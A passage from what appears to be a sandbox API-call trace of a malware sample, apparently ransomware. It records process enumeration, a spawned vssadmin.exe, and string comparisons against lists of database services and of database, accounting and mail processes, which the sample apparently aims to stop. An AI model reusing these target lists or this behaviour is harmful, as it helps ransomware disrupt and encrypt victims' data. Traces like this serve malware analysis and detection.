szExeFile="edgar_academic_dvd.exe")) returned 1 [0040.075] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0040.075] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0040.075] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0040.075] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0040.075] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0040.075] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0040.076] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0040.076] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0040.076] lstrlenW (lpString="mobsync.exe") returned 11 [0040.076] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0040.076] lstrlenW (lpString="cmd.exe") returned 7 [0040.076] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0040.077] lstrlenW (lpString="conhost.exe") returned 11 [0040.077] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0040.077] lstrlenW (lpString="vssadmin.exe") returned 12 [0040.077] Process32NextW (in: hSnapshot=0x354, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0040.077] CloseHandle (hObject=0x354) returned 1 [0040.077] Sleep (dwMilliseconds=0x1f4) [0040.978] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297c48 [0040.978] EnumServicesStatusExW (in: hSCManager=0x3297c48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0040.978] GetLastError () returned 0xea [0040.978] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x123e) returned 0x329eab0 [0040.979] EnumServicesStatusExW (in: hSCManager=0x3297c48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x329eab0, cbBufSize=0x123e, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x329eab0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0040.979] CloseServiceHandle (hSCObject=0x3297c48) returned 1 [0040.979] lstrlenW (lpString="Appinfo") returned 7 [0040.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0040.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0040.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0040.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0040.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0040.980] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0040.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.980] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0040.980] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0040.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0040.980] lstrlenW (lpString="AudioSrv") returned 8 [0040.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0040.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0040.980] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0040.980] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0040.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0040.980] lstrlenW (lpString="BFE") returned 3 [0040.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0040.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0040.980] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0040.980] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0040.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0040.980] lstrlenW (lpString="CryptSvc") returned 8 [0040.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0040.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0040.980] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0040.980] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0040.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0040.980] lstrlenW (lpString="CscService") returned 10 [0040.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0040.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0040.980] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0040.980] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0040.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0040.980] lstrlenW (lpString="DcomLaunch") returned 10 [0040.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.981] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0040.981] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0040.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0040.981] lstrlenW (lpString="Dhcp") returned 4 [0040.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0040.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0040.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0040.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0040.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0040.981] lstrlenW (lpString="Dnscache") returned 8 [0040.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0040.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0040.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0040.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0040.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0040.981] lstrlenW (lpString="DPS") returned 3 [0040.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0040.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0040.981] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0040.981] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0040.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0040.981] lstrlenW (lpString="eventlog") returned 8 [0040.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0040.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0040.981] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0040.981] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0040.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0040.981] lstrlenW (lpString="EventSystem") returned 11 [0040.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0040.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0040.981] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0040.982] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0040.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0040.982] lstrlenW (lpString="gpsvc") returned 5 [0040.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0040.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0040.982] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0040.982] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0040.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0040.982] lstrlenW (lpString="iphlpsvc") returned 8 [0040.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.982] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0040.982] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0040.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0040.982] lstrlenW (lpString="LanmanServer") returned 12 [0040.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0040.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0040.982] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0040.982] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0040.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0040.982] lstrlenW (lpString="LanmanWorkstation") returned 17 [0040.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.982] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0040.982] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0040.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0040.982] lstrlenW (lpString="lmhosts") returned 7 [0040.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0040.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0040.982] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0040.982] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0040.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0040.982] lstrlenW (lpString="MMCSS") returned 5 [0040.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0040.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0040.983] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0040.983] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0040.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0040.983] lstrlenW (lpString="MpsSvc") returned 6 [0040.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0040.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0040.983] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0040.983] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0040.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0040.983] lstrlenW (lpString="Netman") returned 6 [0040.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0040.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0040.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0040.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0040.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0040.983] lstrlenW (lpString="netprofm") returned 8 [0040.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0040.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0040.983] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0040.983] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0040.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0040.983] lstrlenW (lpString="NlaSvc") returned 6 [0040.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0040.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0040.983] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0040.983] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0040.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0040.983] lstrlenW (lpString="nsi") returned 3 [0040.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0040.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0040.983] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0040.984] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0040.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0040.984] lstrlenW (lpString="PcaSvc") returned 6 [0040.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0040.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0040.984] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0040.984] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0040.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0040.984] lstrlenW (lpString="PlugPlay") returned 8 [0040.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0040.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0040.984] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0040.984] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0040.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0040.984] lstrlenW (lpString="Power") returned 5 [0040.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0040.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0040.984] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0040.984] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0040.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0040.984] lstrlenW (lpString="ProfSvc") returned 7 [0040.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0040.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0040.984] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0040.984] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0040.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0040.984] lstrlenW (lpString="RpcEptMapper") returned 12 [0040.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.984] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0040.984] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0040.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0040.985] lstrlenW (lpString="RpcSs") returned 5 [0040.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0040.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0040.985] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0040.985] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0040.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0040.985] lstrlenW (lpString="SamSs") returned 5 [0040.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0040.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0040.985] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0040.985] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0040.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0040.985] lstrlenW (lpString="Schedule") returned 8 [0040.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0040.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0040.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0040.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0040.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0040.985] lstrlenW (lpString="SENS") returned 4 [0040.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0040.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0040.985] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0040.985] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0040.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0040.985] lstrlenW (lpString="ShellHWDetection") returned 16 [0040.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.985] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0040.985] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0040.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0040.985] lstrlenW (lpString="Spooler") returned 7 [0040.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0040.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0040.986] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0040.986] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0040.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0040.986] lstrlenW (lpString="SysMain") returned 7 [0040.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0040.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0040.986] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0040.986] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0040.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0040.986] lstrlenW (lpString="Themes") returned 6 [0040.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0040.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0040.986] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0040.986] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0040.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0040.986] lstrlenW (lpString="TrkWks") returned 6 [0040.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0040.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0040.986] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0040.986] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0040.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0040.986] lstrlenW (lpString="UxSms") returned 5 [0040.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0040.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0040.986] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0040.986] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0040.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0040.986] lstrlenW (lpString="VSS") returned 3 [0040.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0040.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0040.986] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0040.986] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0040.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0040.987] lstrlenW (lpString="WdiServiceHost") returned 14 [0040.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.987] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0040.987] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0040.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0040.987] lstrlenW (lpString="WdiSystemHost") returned 13 [0040.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.987] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0040.987] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0040.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0040.987] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0040.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.987] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0040.987] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0040.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0040.987] lstrlenW (lpString="Winmgmt") returned 7 [0040.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0040.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0040.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0040.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0040.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0040.987] lstrlenW (lpString="WPDBusEnum") returned 10 [0040.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.987] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0040.987] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0040.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0040.987] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x329eab0 | out: hHeap=0x790000) returned 1 [0040.987] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0040.989] Process32FirstW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.989] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0040.990] lstrlenW (lpString="System") returned 6 [0040.990] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0040.990] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0040.990] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0040.990] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0040.990] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0040.990] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0040.990] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0040.990] Process32NextW (in: hSnapshot=0x398, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, 